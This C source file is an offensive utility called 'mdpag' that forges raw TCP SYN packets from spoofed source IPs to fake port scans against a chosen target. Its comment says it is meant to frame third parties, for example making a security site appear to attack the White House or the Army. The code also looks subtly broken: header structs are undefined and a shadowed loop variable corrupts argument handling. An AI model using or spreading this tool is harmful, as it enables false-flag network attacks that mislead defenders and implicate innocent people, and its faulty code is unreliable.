#include <stdlib.h>
#include <netdb.h>
#include <linux/sockios.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>

/* Massively Distributed Penetration Attempt Generator. */
/* Wouldn't it be fun if Antionline was trying to hack the
 *  Whitehouse, or even the Army? Now they can, or at least
 *  appear as though they are. This utility will generate a
 *  slew of fake scans on a target ip from a group of fake
 *  "scanning" ips. Inspired by nmap.
 */
/* Insert Swipped Checksum code Here. */
unsigned short
in_cksum (unsigned short *ptr, int nbytes)
{

  register long sum;		/* assumes long == 32 bits */
  u_short oddbyte;
  register u_short answer;	/* assumes u_short == 16 bits */

  /*
   * Our algorithm is simple, using a 32-bit accumulator (sum),
   * we add sequential 16-bit words to it, and at the end, fold back
   * all the carry bits from the top 16 bits into the lower 16 bits.
   */

  sum = 0;
  while (nbytes > 1)
    {
      sum += *ptr++;
      nbytes -= 2;
    }

  /* mop up an odd byte, if necessary */
  if (nbytes == 1)
    {
      oddbyte = 0;		/* make sure top half is zero */
      *((u_char *) & oddbyte) = *(u_char *) ptr;	/* one byte only */
      sum += oddbyte;
    }

  /*
   * Add back carry outs from top 16 bits to low 16 bits.
   */

  sum = (sum >> 16) + (sum & 0xffff);	/* add high-16 to low-16 */
  sum += (sum >> 16);		/* add carry */
  answer = ~sum;		/* ones-complement, then truncate to 16 bits */
  return (answer);
}

void 
send_ip_pkt (u_long sourceip, u_long destinationip, u_short th_sport,
	     u_short th_dport, u_short th_flags,
	     u_short th_win)
{

  int sockfd, packetlen;
  int p = 1;
  struct pseudo
    {				/* for tcp checksum calculation */
      u_long saddr;
      u_long daddr;
      u_char zero;
      u_char protocol;
      u_short length;
    };
  static struct tcp_header tcpret;
  struct sockaddr_in target;

  u_char packet[sizeof (struct ip_header) + sizeof (struct pseudo) + sizeof (struct tcp_header)];
  struct ip_header *ip = (struct ip_header *) packet;
  struct pseudo *pseudo = (struct pseudo *) (packet + sizeof (struct ip_header));
  struct tcp_header *tcp = (struct tcp_header *) (packet + sizeof (struct ip_header) + sizeof (struct pseudo));

  bzero (packet, sizeof (packet));
  bzero (&target, sizeof (target));

  srand (time (NULL));

  pseudo->protocol = IPPROTO_TCP;
  pseudo->daddr = destinationip;
  pseudo->saddr = sourceip;
  pseudo->length = htons (sizeof (struct tcp_header));
  pseudo->zero = 0;
  tcp->th_dport = htons (th_dport);
  tcp->th_sport = htons (th_sport);
  tcp->th_ack = htonl (random ());
  tcp->th_seq = htonl (random ());
  tcp->th_off = 5;
  tcp->th_flags = th_flags;
  tcp->th_win = htons (th_win);
  tcp->th_urp = 0;
  tcp->th_sum = in_cksum ((u_short *) pseudo, sizeof (struct pseudo) + sizeof (struct tcp_header));
  ip->version = 4;
  ip->saddr = sourceip;
  ip->daddr = destinationip;
  ip->id = 666;
  ip->ihl = 5;
  ip->protocol = IPPROTO_TCP;
  ip->ttl = 30 + (random () % 24);
  ip->frag_off = 0;
  ip->tot_len = sizeof (struct ip_header) + sizeof (struct tcp_header);

  sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
  setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &p, sizeof (p));
  memcpy (pseudo, tcp, 20);
  target.sin_family = AF_INET;
  target.sin_addr.s_addr = destinationip;
  packetlen = sizeof (struct ip_header) + sizeof (struct tcp_header);
  sendto (sockfd, packet, packetlen, 0, (struct sockaddr *) &target,
	  sizeof (target));
  close (sockfd);
}

unsigned long int
lookup (char *hostname)
{
  struct hostent *name;
  unsigned long int address;

  if ((address = inet_addr (hostname)) != -1)
    return address;
  if ((name = gethostbyname (hostname)) == NULL)
    return -1;

  memcpy (&address, name->h_addr, name->h_length);
  return address;
}

char
 *
rlookup (u_long ip)
{
  static char hostname[256];
  struct hostent *host;
  struct sockaddr_in addr;

  addr.sin_addr.s_addr = ip;

  host = gethostbyaddr ((char *) &addr.sin_addr, sizeof (addr.sin_addr), AF_INET);

  if (host == NULL)
    snprintf (hostname, 256, "%s\0", inet_ntoa (ip));
  else
    snprintf (hostname, sizeof (hostname), "%s\0", host->h_name);

  return hostname;
}

int
main (int argc, char **argv)
{
  u_long ourip, theirip;
  u_short highport, count;
  int timeout, j;
  char readbuf[2048];
  if (argc < 3)
    {
      printf ("usage: ./mdpag <their ip> <high port #> <spoof ips>\n");
      exit (1);
    }


  if ((theirip = lookup (argv[1])) == (int) -1)
    {
      printf ("invalid destination ip %s.\n", inet_ntoa (theirip));
      exit (1);
    }

  highport = atoi (argv[2]);
  timeout = time (NULL) + 8;
  srandom (time (NULL));
  for (j = 3; j < argc; j++)
    {
      unsigned short j;
      j = 1 + random () % 4;

      if ((ourip = lookup (argv[j])) == (int) -1)
	{
	  printf ("invalid spoof ip.\n");
	  exit (1);
	}

      if (fork ())
	{
	  continue;
	}

      for (count = 0; count < highport; count++)
	{
	  unsigned short t;

	  t = 1024 + random ();

	  send_ip_pkt (ourip, theirip, t, count, TH_SYN, 1028);
	  t = j + random () % (j + 2);
	  sleep (t);
	}

    }
}
